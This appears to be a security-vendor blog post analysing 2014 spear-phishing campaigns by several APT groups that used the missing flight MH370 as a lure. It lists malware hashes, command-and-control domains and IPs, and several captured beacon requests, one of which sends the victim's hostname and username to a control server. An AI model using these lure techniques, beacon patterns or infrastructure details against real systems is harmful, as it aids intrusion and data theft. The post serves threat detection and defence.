While many advanced persistent threat (APT) groups have increasingly embraced strategic Web compromise as a malware delivery vector, groups also continue to rely on spear-phishing emails that leverage popular news stories. The recent tragic disappearance of flight MH 370 is no exception. This post will examine multiple instances from different threat groups, all using spear-phishing messages and leveraging the disappearance of Flight 370 as a lure to convince the target to open a malicious attachment.
“Admin@338” Targets an APAC Government and U.S. Think Tank
The first spear phish from group “Admin@338” was sent to a foreign government in the Asian Pacific region on March 10, 2014 – just two days after the flight disappeared. The threat actors sent a spear-phishing email with an attachment titled, “Malaysian Airlines MH370.doc” (MD5: 9c43a26fe4538a373b7f5921055ddeae). Although threat actors often include some sort of “decoy content” upon successful exploitation (that is, a document representing what the recipient expected to open), in this case, the user is simply shown a blank document.
The attachment dropped a Poison Ivy variant into the path C:\DOCUME~1\admin\LOCALS~1\Temp\kav.exe (MD5: 9dbe491b7d614251e75fb19e8b1b0d0d), which, in turn, beaconed outbound to www.verizon.proxydns[.]com. This Poison Ivy variant was configured with the connection password “wwwst@Admin.” The APT group we refer to as Admin@338 has previously used Poison Ivy implants with this same password. We document the Admin@338 group’s activities in our Poison Ivy: Assessing Damage and Extracting Intelligence paper. Further, the domain www.verizon.proxydns[.]com previously resolved to the following IP addresses that have also been used by the Admin@338 group:
| IP Address | First Seen | Last Seen |
| 103.31.241.110 | 2013-08-27 | 2013-08-28 |
| 174.139.242.19 | 2013-08-28 | 2013-08-31 |
| 58.64.153.157 | 2013-09-03 | 2014-03-07 |
| 59.188.0.197 | 2014-03-07 | 2014-03-19 |
A second targeted attack attributed to the same Admin@338 group was sent to a prominent U.S.-based think tank on March 14, 2014. This spear phish contained an attachment that dropped “Malaysian Airlines MH370 5m Video.exe” (MD5: b869dc959daac3458b6a81bc006e5b97). The malware sample was crafted to appear as though it was a Flash video, by binding a Flash icon to the malicious executable.
Interestingly, in this case, the malware sets its persistence in the normal “Run” registry location, but it tries to auto start the payload from the disk directory “c:\programdata”, which doesn’t exist until Windows 7, so a simple reboot would mitigate this threat on Windows XP. This suggests the threat actors did not perform quality control on the malware or were simply careless. We detect this implant as Backdoor.APT.WinHTTPHelper. The Admin@338 group discussed above has used variants of this same malware family in previous targeted attacks.
This specific implant beacons out to dpmc.dynssl[.]com:443 and www.dpmc.dynssl[.]com:80. The domain dpmc.dynssl[.]com resolved to the following IPs:
| IP Address | First Seen | Last Seen |
| 31.193.133.101 | 2013-11-01 | 2013-11-29 |
| 58.64.153.157 | 2014-01-10 | 2014-03-08 |
| 59.188.0.197 | 2014-03-14 | 2014-03-17 |
| 139.191.142.168 | 2014-03-17 | 2014-03-19 |
The www.dpmc.dynssl[.]com domain resolved to following IPs:
| IP Address | First Seen | Last Seen |
| 31.193.133.101 | 2013-10-30 | 2013-11-29 |
| 58.64.153.157 | 2014-01-10 | 2014-03-08 |
| 59.188.0.197 | 2014-03-14 | 2014-03-18 |
| 139.191.142.168 | 2014-03-17 | 2014-03-19 |
Note that the www.verizon.proxydns[.]com domain used by the Poison Ivy discussed above also resolved to both 58.64.153.157 and 59.188.0.197 during the same time frame as the Backdoor.APT.WinHTTPHelper command and control (CnC) located at dpmc.dynssl[.]com and www.dpmc.dynssl[.]com.
In addition to the above activity attributed to the Admin@338 group, a number of other malicious documents abusing the missing Flight 370 story were also seen in the wild. Other threat groups likely sent these other documents.
The Naikon Lures
On March 9, 2014, a malicious executable entitled the “Search for MH370 continues as report says FBI agents on way to offer assistance.pdf .exe“ (MD5: 52408bffd295b3e69e983be9bdcdd6aa) was seen circulating in the wild. This sample beacons to the CnC net.googlereader[.]pw:443. We have identified this sample, via forensic analysis, as Backdoor.APT.Naikon.
It uses a standard technique of changing its icon to make it appear to be a PDF, in order to lend to its credibility. This same icon, embedded as a PE Resource, has been used in the following recent samples:
| MD5 | Import hash | CnC Server |
| fcc59add998760b76f009b1fdfacf840 | e30e07abf1633e10c2d1fbf34e9333d6 | ecoh.oicp[.]net |
| 018f762da9b51d7557062548d2b91eeb | e30e07abf1633e10c2d1fbf34e9333d6 | orayjue.eicp[.]net |
| fcc59add998760b76f009b1fdfacf840 | e30e07abf1633e10c2d1fbf34e9333d6 | ecoh.oicp[.]net:443 |
| 498aaf6df71211f9fcb8f182a71fc1f0 | a692dca39e952b61501a278ebafab97f | xl.findmy[.]pw |
| a093440e75ff4fef256f5a9c1106069a | a692dca39e952b61501a278ebafab97f | xl.findmy[.]pw |
| 125dbbb742399ec2c39957920867ee60 | a692dca39e952b61501a278ebafab97f | uu.yahoomail[.]pw |
| 52408bffd295b3e69e983be9bdcdd6aa | a692dca39e952b61501a278ebafab97f | net.googlereader[.]pw |
This malware leverages “pdfbind” to add a PDF into itself, as can be seen in the debugging strings, and when launched, the malware also presents a decoy document to the target:
The Plat1 Lures
On March 10, 2014, we observed another sample that exploited CVE-2012-0158, titled “MH370班机可以人员身份信息.doc” (MD5: 4ff2156c74e0a36d16fa4aea29f38ff8), which roughly translates to “MH370 Flight Personnel Identity Information”. The malware that is dropped by the malicious Word document, which we detect as Trojan.APT.Plat1, begins to beacon to 59.188.253.216 via TCP over port 80. The decoy document opened after exploitation is blank. The malicious document dropped the following implants:
C:\Documents and Settings\Administrator\Application Data\Intel\ResN32.dll (MD5: 2437f6c333cf61db53b596d192cafe64)C:\Documents and Settings\Administrator\Application Data\Intel\~y.dll (MD5: d8540b23e52892c6009fdd5812e9c597)
The implants dropped by this malicious document both included unique PDB paths that can be used to find related samples. These paths were as follows:
E:\Work\T5000\T5 Install\ResN\Release\ResN32.pdb
F:\WORK\PROJECT\T5 Install\InstDll\Release\InstDll.pdb
This malware family was also described in more detail here.
The Mongall/Saker Lures
Another sample leveraging the missing airliner theme was seen on March 12, 2014. The malicious document exploited CVE-2012-0158 and was titled, “Missing Malaysia Airlines Flight 370.doc” (MD5: 467478fa0670fa8576b21d860c1523c6). Although the extension looked like a Microsoft Office .DOC file, it was actually an .HTML Application (HTA) file. Once the exploit is successful, the payload makes itself persistent by adding a Windows shortcut (.LNK) file pointing to the malware in the “Startup” folder in the start menu. It beacons outbound to comer4s.minidns[.]net:8070. The network callback pattern, shown below, is known by researchers as “Mongall” or “Saker”:
GET /3010FC080[REDACTED] HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Wis NT 5.0; .NET CLR 1.1.4322)
Host: comer4s.minidns.net:8070
Cache-Control: no-cache
The sample also drops a decoy file called “aa.doc” into the temp folder and displays the decoy content shown below:
The “Tranchulas” Lures
On March 18, 2014 a sample entitled “Malysia Airline MH370 hijacked by Pakistan.zip” was sent as a ZIP file (MD5: 7dff5c4ae1b1fea7ecbf7ab787da3468) that contained a Windows screensaver file disguised as a PDF (MD5: b03edbb264aa0c980ab2974652688876). The ZIP file was hosted on 199.91.173.43. This IP address was previously used to host malicious files.
The screen saver file drops “winservice.exe” (MD5: 828d4a66487d25b413cb19ef8ee7c783) which begins beaconing to 199.91.173.45. This IP address was previously used to host a file entitled “obl_leaked_report.zip” (MD5: a4c7c79308139a7ee70aacf68bba814f).
The initial beacon to the command-and-control server is as follows:
POST /path_active.php?compname=[HOSTNAME]_[USERNAME] HTTP/1.1
Host: 199.91.173.45
Accept: */*
Content-Length: 11
Content-Type: application/x-www-form-urlencoded
This same control server was used in previous activity.
The Page Campaign
A final malicious document was seen abusing the missing Flight 370 story on March 18, 2014. This document exploited CVE-2012-0158 and was entitled “MH370 PM statement 15.03.14 – FINAL.DOC” (MD5: 5e8d64185737f835318489fda46f31a6). This document dropped a Backdoor.APT.Page implant and connected to 122.10.89.85 on both port 80 and 443. The initial beacon traffic over port 80 is as follows:
GET /18110143/page_32180701.html HTTP/1.1
Accept: */*
Cookie: XX=0; BX=0
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Win32)
Host: 122.10.89.85
Connection: Keep-Alive
Cache-Control: no-cache
Pragma: no-cache
Conclusion
While many APT actors have adopted strategic Web compromise as a delivery vector, it is apparent that spear phishing via email-based attachments or links to zip files remain popular with many threat actors, especially when paired with lures discussing current media events. Network defenders should incorporate these facts into their user training programs and be on heightened alert for regular spear-phishing campaigns, which leverage topics dominating the news cycle.
No comments:
Post a Comment